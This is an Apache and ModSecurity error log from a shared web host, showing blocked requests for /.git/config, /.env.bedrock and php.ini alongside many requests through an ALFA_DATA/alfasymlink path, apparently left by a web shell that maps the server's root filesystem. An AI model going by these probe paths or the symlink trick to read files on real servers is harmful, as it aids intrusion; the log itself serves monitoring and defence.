[Mon Oct 26 00:13:10.590136 2026] [security2:error] [pid 2954190:tid 2954190] [client 107.172.76.131:50860] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7TSfoKyTuj-yC3xtKGfgAAAAE"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 00:13:15.306722 2026] [ssl:error] [pid 2942316:tid 2942316] (5)Input/output error: [client 3.209.174.110:23754] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:13:22.158396 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 52.21.62.139:47780] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:13:38.169786 2026] [ssl:error] [pid 2959085:tid 2959085] (70014)End of file found: [client 44.212.145.46:63137] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:13:50.140854 2026] [ssl:error] [pid 2955283:tid 2955283] (70014)End of file found: [client 54.156.124.2:56405] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:13:54.155763 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 3.221.50.71:60737] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:13:58.198923 2026] [ssl:error] [pid 2959085:tid 2959085] (70014)End of file found: [client 3.209.174.110:34331] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:14:11.400553 2026] [security2:error] [pid 2959704:tid 2959704] [client 144.172.105.154:53278] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7Tk63UhY07Yn3uuWWW-QAAAA8"]
[Mon Oct 26 00:14:11.400811 2026] [security2:error] [pid 2959704:tid 2959704] [client 144.172.105.154:53278] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7Tk63UhY07Yn3uuWWW-QAAAA8"]
[Mon Oct 26 00:14:11.401143 2026] [security2:error] [pid 2959704:tid 2959704] [client 144.172.105.154:53278] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7Tk63UhY07Yn3uuWWW-QAAAA8"]
[Mon Oct 26 00:14:11.580010 2026] [security2:error] [pid 2949650:tid 2949650] [client 144.172.105.154:53266] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7Tk_La-Z693QtLWwrGlgAAABQ"]
[Mon Oct 26 00:14:11.580236 2026] [security2:error] [pid 2949650:tid 2949650] [client 144.172.105.154:53266] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7Tk_La-Z693QtLWwrGlgAAABQ"]
[Mon Oct 26 00:14:11.580551 2026] [security2:error] [pid 2949650:tid 2949650] [client 144.172.105.154:53266] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7Tk_La-Z693QtLWwrGlgAAABQ"]
[Mon Oct 26 00:14:14.143391 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 52.204.253.129:26799] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:14:18.144143 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 100.28.133.214:19944] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:14:30.150390 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 44.206.65.8:33258] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:14:38.152961 2026] [ssl:error] [pid 2959702:tid 2959702] (70014)End of file found: [client 18.213.240.226:47359] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:14:43.616524 2026] [security2:error] [pid 2934778:tid 2934778] [client 107.172.76.131:50862] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7Tp9YvsK9lv2bQxMADeAAAABA"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 00:14:43.616582 2026] [security2:error] [pid 2934778:tid 2934778] [client 107.172.76.131:50862] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7Tp9YvsK9lv2bQxMADeAAAABA"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 00:14:50.156365 2026] [ssl:error] [pid 2959704:tid 2959704] (70014)End of file found: [client 52.200.142.199:30070] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:14:58.176251 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 18.207.79.144:40052] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:15:10.140140 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 3.213.106.226:3225] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:15:18.141670 2026] [ssl:error] [pid 2959704:tid 2959704] (70014)End of file found: [client 52.3.156.186:50984] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:15:36.618206 2026] [core:error] [pid 2942316:tid 2942316] (13)Permission denied: [client 185.191.171.15:44004] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_inode_cache/ctor
[Mon Oct 26 00:15:42.130749 2026] [ssl:error] [pid 2954191:tid 2954191] (70014)End of file found: [client 23.23.99.55:12739] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:15:50.136637 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 52.4.213.199:48217] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:15:51.387674 2026] [security2:error] [pid 2955279:tid 2955279] [client 107.172.76.131:50866] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7T69a9gC1r30c5Pp3dqQAAAAM"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 00:15:51.387726 2026] [security2:error] [pid 2955279:tid 2955279] [client 107.172.76.131:50866] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7T69a9gC1r30c5Pp3dqQAAAAM"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 00:15:58.226317 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 34.206.249.188:32361] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:15:58.226579 2026] [security2:error] [pid 2949651:tid 2949651] [client 34.206.249.188:32361] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/subsystem/input1/event1/device/device/driver/serio0/firmware_node/physical_node1/power/wakeup_max_time_ms"] [unique_id "at7T_q2Hvm-I1Dg70Ad48wAAABU"]
[Mon Oct 26 00:15:58.226609 2026] [security2:error] [pid 2949651:tid 2949651] [client 34.206.249.188:32361] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/subsystem/input1/event1/device/device/driver/serio0/firmware_node/physical_node1/power/wakeup_max_time_ms"] [unique_id "at7T_q2Hvm-I1Dg70Ad48wAAABU"]
[Mon Oct 26 00:16:26.184142 2026] [ssl:error] [pid 2959087:tid 2959087] (70014)End of file found: [client 44.206.93.215:36314] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:16:34.172731 2026] [ssl:error] [pid 2959085:tid 2959085] (70014)End of file found: [client 34.202.88.37:19880] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:16:54.249593 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 54.157.99.244:53270] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:17:06.160215 2026] [ssl:error] [pid 2955283:tid 2955283] (70014)End of file found: [client 3.93.253.174:19216] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:17:26.151495 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 54.204.62.163:14205] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:17:34.285911 2026] [ssl:error] [pid 2959704:tid 2959704] (70014)End of file found: [client 23.21.148.226:33492] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:17:38.153994 2026] [ssl:error] [pid 2954191:tid 2954191] (5)Input/output error: [client 44.209.89.189:24882] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:17:42.169838 2026] [core:error] [pid 2952056:tid 2952056] (13)Permission denied: [client 18.213.240.226:28057] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory2/node0/cpu0/crash_notes_size
[Mon Oct 26 00:18:02.147649 2026] [ssl:error] [pid 2952056:tid 2952056] (70014)End of file found: [client 34.236.185.101:2882] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:18:18.161925 2026] [ssl:error] [pid 2959704:tid 2959704] (70014)End of file found: [client 98.84.60.17:21085] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:18:23.002447 2026] [security2:error] [pid 2952056:tid 2952056] [client 16.216.88.220:8192] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/debuginfo-install.conf"] [unique_id "at7UjpGehNisEVJl_lKmUgAAAAs"]
[Mon Oct 26 00:18:23.002916 2026] [security2:error] [pid 2952056:tid 2952056] [client 16.216.88.220:8192] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/debuginfo-install.conf"] [unique_id "at7UjpGehNisEVJl_lKmUgAAAAs"]
[Mon Oct 26 00:18:23.003250 2026] [security2:error] [pid 2952056:tid 2952056] [client 16.216.88.220:8192] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/debuginfo-install.conf"] [unique_id "at7UjpGehNisEVJl_lKmUgAAAAs"]
[Mon Oct 26 00:18:42.160743 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 34.206.212.24:42401] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:18:46.162194 2026] [ssl:error] [pid 2959087:tid 2959087] (70014)End of file found: [client 3.215.59.93:57909] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:18:58.276149 2026] [ssl:error] [pid 2959086:tid 2959086] (70014)End of file found: [client 50.19.221.48:29377] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:19:02.406563 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 3.221.50.71:30543] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:19:06.237131 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 18.207.89.138:22620] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:19:06.345082 2026] [security2:error] [pid 2954190:tid 2954190] [client 107.172.76.131:50860] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7UrPoKyTuj-yC3xtKGlgAAAAE"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 00:19:06.345149 2026] [security2:error] [pid 2954190:tid 2954190] [client 107.172.76.131:50860] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7UrPoKyTuj-yC3xtKGlgAAAAE"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 00:19:10.170909 2026] [core:error] [pid 2959087:tid 2959087] (13)Permission denied: [client 3.213.46.222:1123] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/resource3
[Mon Oct 26 00:19:18.160136 2026] [ssl:error] [pid 2959087:tid 2959087] (70014)End of file found: [client 52.3.26.180:32206] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:19:22.142516 2026] [core:error] [pid 2959702:tid 2959702] (13)Permission denied: [client 44.210.204.255:1559] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers/dw_dmac_pci/bind
[Mon Oct 26 00:19:30.281291 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 3.94.156.104:53980] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:19:34.290388 2026] [ssl:error] [pid 2959087:tid 2959087] (70014)End of file found: [client 3.229.164.203:22619] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:19:38.129411 2026] [ssl:error] [pid 2955283:tid 2955283] (70014)End of file found: [client 3.223.181.32:54608] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:19:42.171754 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 34.231.118.144:25006] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:19:46.163860 2026] [ssl:error] [pid 2952056:tid 2952056] (70014)End of file found: [client 18.233.24.238:57688] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:19:52.080713 2026] [security2:error] [pid 2954190:tid 2954190] [client 107.172.76.131:50860] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7U2voKyTuj-yC3xtKGmQAAAAE"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 00:19:52.080773 2026] [security2:error] [pid 2954190:tid 2954190] [client 107.172.76.131:50860] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7U2voKyTuj-yC3xtKGmQAAAAE"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 00:19:58.260883 2026] [ssl:error] [pid 2955283:tid 2955283] (70014)End of file found: [client 18.232.12.157:15335] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:19:59.795947 2026] [security2:error] [pid 2959085:tid 2959085] [client 16.216.88.50:12288] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/pwquality.conf"] [unique_id "at7U7yHeGZr7c77_tm2ALAAAAAI"]
[Mon Oct 26 00:19:59.796662 2026] [security2:error] [pid 2959085:tid 2959085] [client 16.216.88.50:12288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/pwquality.conf"] [unique_id "at7U7yHeGZr7c77_tm2ALAAAAAI"]
[Mon Oct 26 00:19:59.797130 2026] [security2:error] [pid 2959085:tid 2959085] [client 16.216.88.50:12288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/pwquality.conf"] [unique_id "at7U7yHeGZr7c77_tm2ALAAAAAI"]
[Mon Oct 26 00:20:00.574580 2026] [core:error] [pid 2949650:tid 2949650] (13)Permission denied: [client 185.191.171.12:27434] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-256/partial
[Mon Oct 26 00:20:02.141588 2026] [ssl:error] [pid 2961629:tid 2961629] (70014)End of file found: [client 54.197.178.107:20733] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:20:26.174570 2026] [ssl:error] [pid 2961631:tid 2961631] (70014)End of file found: [client 98.83.10.183:19625] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:20:30.134522 2026] [ssl:error] [pid 2961629:tid 2961629] (70014)End of file found: [client 18.211.39.188:56083] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:20:42.127094 2026] [ssl:error] [pid 2959085:tid 2959085] (70014)End of file found: [client 52.22.64.232:60096] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:20:46.249005 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 54.157.84.74:7207] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:20:58.231403 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 50.16.216.166:49124] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:21:06.266046 2026] [ssl:error] [pid 2959085:tid 2959085] (70014)End of file found: [client 3.210.223.61:47041] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:21:19.776183 2026] [security2:error] [pid 2954190:tid 2954190] [client 107.172.76.131:50860] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7VMvoKyTuj-yC3xtKGnwAAAAE"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 00:21:19.776236 2026] [security2:error] [pid 2954190:tid 2954190] [client 107.172.76.131:50860] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7VMvoKyTuj-yC3xtKGnwAAAAE"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 00:21:22.140210 2026] [core:error] [pid 2942316:tid 2942316] (13)Permission denied: [client 44.209.89.189:10335] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers/dw_dmac_pci/new_id
[Mon Oct 26 00:21:25.654901 2026] [security2:error] [pid 2949651:tid 2949651] [client 119.45.127.106:54144] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.curso-de-ventas.com"] [uri "/"] [unique_id "at7VRa2Hvm-I1Dg70Ad4_gAAABU"]
[Mon Oct 26 00:21:25.656038 2026] [authz_core:error] [pid 2949651:tid 2949651] [client 119.45.127.106:54144] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 00:21:30.203530 2026] [ssl:error] [pid 2959702:tid 2959702] (70014)End of file found: [client 54.163.136.244:13876] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:21:34.243550 2026] [ssl:error] [pid 2959085:tid 2959085] (70014)End of file found: [client 100.25.120.246:12008] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:21:38.142806 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 23.21.179.120:55639] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:21:44.530485 2026] [core:error] [pid 2959086:tid 2959086] (13)Permission denied: [client 185.191.171.15:44232] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_tree_mark/trace
[Mon Oct 26 00:21:46.054750 2026] [core:error] [pid 2959702:tid 2959702] (13)Permission denied: [client 185.191.171.13:63398] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-2k/cpu_partial
[Mon Oct 26 00:21:52.488565 2026] [authz_core:error] [pid 2959702:tid 2959702] [client 93.123.109.101:52948] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 00:21:53.328412 2026] [authz_core:error] [pid 2959702:tid 2959702] [client 93.123.109.101:52948] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 00:21:54.913402 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bedrock"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.bedrock"] [unique_id "at7VYm-vOSxyH8uS5IpnUAAAAA0"]
[Mon Oct 26 00:21:54.913705 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.bedrock"] [unique_id "at7VYm-vOSxyH8uS5IpnUAAAAA0"]
